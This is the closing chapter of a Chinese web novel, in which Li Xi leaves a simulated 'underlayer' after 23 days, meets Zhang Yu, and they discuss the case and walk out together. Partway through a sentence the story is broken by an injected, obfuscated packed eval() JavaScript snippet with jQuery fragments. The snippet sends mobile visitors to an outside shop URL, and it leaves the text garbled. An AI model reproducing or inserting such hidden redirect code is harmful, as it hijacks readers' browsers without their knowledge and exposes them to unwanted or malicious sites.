脚步声停在了大约十步之外。
李析听到了它们从主会场入口的方向一路穿过空旷的会议大厅——不止一个人,至少有两组不同的脚步声频率。一组快步且节奏均匀,另一组稍慢且每一步间距稳定。快步的那组先靠近了十步的位置,停了。另一组停在了更远的地方。李析没有回头。他低头看着自己的手。
是实的。指尖有温度,指节有骨头的重量,掌心有纹路。他握了一下拳又松开,确认了每一个关节都在按照他的指令动作。那双手在底层里是半透明的灰白色,穿过数据墙的时候会泛起波纹。现在它们只是手。皮肤下有血管,血管里有温度,温度从指腹传递到手背,再传到小臂。他花了大约三秒完成这个确认。
然后他听到一个声音从十步之外传来。是他听了23天的、隔着终端感知的、此刻第一次从真实的空气中传到耳膜上的同一个频率。声音比终端里稍微沉一点——空气传播和数字传输之间的差别,像同一句话在不同介质里有了极其微小的偏移。第一个问题不是关于底层,不是关于代码,不是关于季明或陈远。
“……你站的那个位置,就是你被推下去之前站的?”
李析转过身。
主会场的光线是傍晚的自然光。大落地窗斜斜地照进来,把长长的影子拉在地板上。灰尘在光柱里缓慢浮动,像底层数据流最慢速时的样子。
张驭站在十步之外。
他穿着深灰色的短外套,黑色长裤,和底层战斗服颜色一样但质地完全不同。布料看起来更厚一些,袖口有一处细微的磨损,像是被经常穿着。他的肩膀比李析在感知层里收到的信号更宽——数据流传递的体感信息是压缩过的,站在真实空间里的时候那个宽度占据了更多视觉面积。头发是黑色的,短,和底层里一样。手没有插在口袋里,垂在身侧,自然松弛。他的视线没有看其他地方,从一开始就落在李析身上。灰褐色的瞳孔在傍晚的光线下看起来比底层里更深一些,因为这里的光是暖色的。
李析看了他大约两秒。确认了视线里所有信息和感知层里存的那些数据对得上。然后他发现自己没有哪一句话是提前准备好的。他在底层里想了23天,关于“看到张驭之后第一句说什么”。但站在这里的时候所有准备好的句子都沉了下去。能浮上来的只有第一句,和任何计划无关:
“……你穿的不一样。”
张驭低头看了一眼自己的外套。“现实里穿的。底层的战斗服是系统自带的。”他抬回视线,“你也是。”
李析低头看了一眼自己。浅灰色长袖,23天前被推入底层时穿的,在现实里静置了23天但数据模拟里穿满了23天。布料上没有灰白色的痕迹,没有银灰色的粉尘,只是一件普通的长袖。他忽然注意到袖口的扣子掉了一颗——23天前他低头调试终端接口的时候,那颗扣子就已经松了,他一直没有去补。“……我袖口的扣子掉了。”
“看到了。”张驭说。
然后他动了。跨出第一步的时候动作很轻,第二步、第三步、一直到第十步——十步距离被连续地走完了,中间没有停顿。他在李析面前停住,距离大约一臂。李析闻到了气味——真实的、不属于游戏模拟的气味。浅淡的洗衣剂残留,混着外套表面被傍晚风吹过的凉气,还有一点沥青路面和灰尘的味道。他从主会场门口一路走进来,衣服上沾了外面的空气。
张驭的视线从他脸上落到他手上。李析刚才一直在翻来覆去地看自己的手,那个动作被看到了。“手确认过了?”——语气里有一层很薄的、几乎听不出的温度,像一个人在确认一个他其实已经知道答案的问题。
李析低头看了一眼自己的手。“……确认过了。是实的。”
张驭的呼吸节奏微缓了一瞬。幅度很小,只有站在那里一臂之内的人才能感知到——李析感知到了。
张驭在主控台旁边的台阶上坐了下来。他坐下来的时候膝盖微弯了一下又伸直,动作很轻,像在确认今天没有蹲太久所以关节状态还行。“今天凌晨四点出发的。”
李析在台阶上也坐下来,和张驭隔着大约半个身位的距离。“凌晨四点。你四点就知道门今天会开?”
“不知道几点。”张驭侧过头看他,“但知道是今天。你昨晚说‘不知道开了门之后你在哪’的时候,我在想——如果你被弹出来的时候我不在,你可能会站在这片空地上等很久。”
李析坐在他旁边,傍晚的光从落地窗斜射进来,把两道人影拉在地板上。“……所以你凌晨四点出发,路上开了四个小时,到了之后在这里等了多久?”
“大约四十分钟。到了之后在附近转了一下。”张驭说,“看到大厅灯亮了就进来了。”
张驭坐在台阶上,一条腿伸直,另一条腿微屈。他抬头的方向对着主会场远处的落地窗,但侧脸对着李析。“刘主管今天早上被带走了。我的人在表层拦截了季明接口的同时通知了相关部门。刘主管的办公室在他被带走的时候已经清空。”
李析坐在他旁边。张驭坐在台阶上叙述这些东西的时候,语调和他在底层说“明天六点半”时一模一样。没有“我成功了”的成就感,没有“我做到了”的表功。只是平稳地放出来。“……陈远呢?”
“还在追。他2024年离职之后去了另一个城市。我的人今天上午确认了他的位置。明天会有结果。”
“季明的接口被拦截之后——那段私有代码呢?”
“接口被拦截的同时,底层已经恢复到原始状态。”张驭说,“那段代码失去了在底层和表层之间传输的通路。现在被封在中间,两端都打不开。”
李析问:“季明呢?他2021年离职之后去了哪里?”
张驭的视线从落地窗收回来,落在自己面前的地板上。“还在查。昨天有一个方向——他离职之后没有留在国内。他在2021年底出境。去的地方和黎帆公司的倒闭时间有重叠。具体关联还在核实。”
“……黎帆呢?他消失之后——还能找到吗?”
张驭安静了一会儿。“他的公司倒闭之后没有再注册新的企业。但他离开公司之前在底层放了那些东西。容器、端口、门——他在消失之前已经完成了所有留证动作。他可能预料到自己会消失,所以把需要留下的东西都留在底层了。”张驭偏过头看他,“我们读到了他留的全部内容。”
“我们”两个字从他嘴里出来的时候和底层里一样自然。李析在听到“我们读到了全部”的时候,有一个瞬间在想——黎帆三年前在第九个裂隙里写了“如果你读到这个”,他预设的读者是一个会追踪到那里的人。而那个读者现在坐在主会场空荡荡的台阶上,和他旁边的人在一起。两个人。
台阶上安静了一会儿。主会场的光线在缓慢变暗,傍晚的光从落地窗斜射进来,把两道人影慢慢拉长。李析先开口了:“……你说‘你等我’的时候,我在底
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930601|213624||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
层最后一帧里接收到了你的心率——八十二。你平时的心率是七十五左右。”
张驭侧过头看他。“……你那时候还能收?”
“最后一帧。然后就断了。”
张驭没有接话。他沉默了一会儿。然后他说:“如果你被弹出来的时候我还没到——你会等吗?”
“……会。”
“等多久?”
李析没有立刻回答。他看着自己面前的地板,光从他的侧后方照过来,把他的影子朝张驭的方向拉长了一点。“不知道。你先问的。”
张驭侧着头看了他一会儿。然后他说:“我问过了。你说了会。那就够了。”
他停在了“会”这个字上。没有追问“等多久”,没有追问“等到什么时候”。停在了最短的确认上。李析把那个字从空气里收进了自己知道的位置——和“明天见”“怕你等”“我在”“来”“你等我”放在一起。二十三天的句子在这一刻全部落在了同一个平面上。
大厅入口的方向传来一阵脚步声。张驭顺着那个方向看了一眼:“是我的人。他来接我,顺便把车上的东西拿给你。”
“……什么东西?”
张驭站起来走向入口。他和那个人说了几句话,然后拿着一件东西走回来。深灰色的,折好的。他递到李析面前:“你穿了23天同一件衣服。先换一件。”
李析低头看自己。浅灰色长袖,袖口掉了一颗扣子。穿了23天。虽然数据模拟里没有真实的磨损,但感知层里它确实被穿了23天。他接过外套,把袖子套进去。深灰色,袖长刚好。张驭从23天的数据流里量过他的肩宽和臂长——不是用尺子量的,是用接入端口里持续传输的体感信号累积出来的。
他站起来,把外套的领口整了一下。张驭也站起来。“去哪?”
“……先出去。”
两人一起朝主会场入口走去。光线在变化,从傍晚的金色过渡到了浅紫。李析走过了张驭之前停在十步之外的那个位置,然后继续走过了入口。主会场的门在他身后缓缓关闭。
门外是一片开阔的广场。傍晚的天色是浅紫色的,远处有零星的灯火正在亮起来。风从广场的另一端吹过来,带着沥青路面和白天的余温,还有远处车辆的微弱声音。李析站在这片真正的天空下,头顶没有倒计时。23天里他每次抬头看到的是灰白荒漠上跳动的数字,现在头顶是空的、宽阔的、正在从浅紫过渡到深蓝的天空。他停了一下,抬起头看了一会儿那片没有倒计时的天空。张驭站在他旁边,没有催促。他让李析看了一会儿天空。然后他说:
“现在你知道你出来之后在哪里了。”
李析把视线从天空上收回来。“……知道了。”
张驭侧过头看他:“那走吧。”
他没有说去哪里。他只是说“走吧”,和底层里每天结束时说“明天六点半”一样确定。李析走在他旁边,距离不是十步,不是一臂,是并肩。两个人之间的空隙里灌着傍晚的风,没有数据流在中间传输,没有终端界面和接入端口隔着他们。是空气和光在两个人之间流动。
他们朝广场另一端走去。主会场在身后越来越远。倒计时已经不再存在了。
这是一个不需要倒计时的傍晚。
灰白色的荒漠和银灰色的地面已经全部被留在23天之前。他现在知道出来之后在哪里。那个位置不是主会场。是张驭旁边。
全文完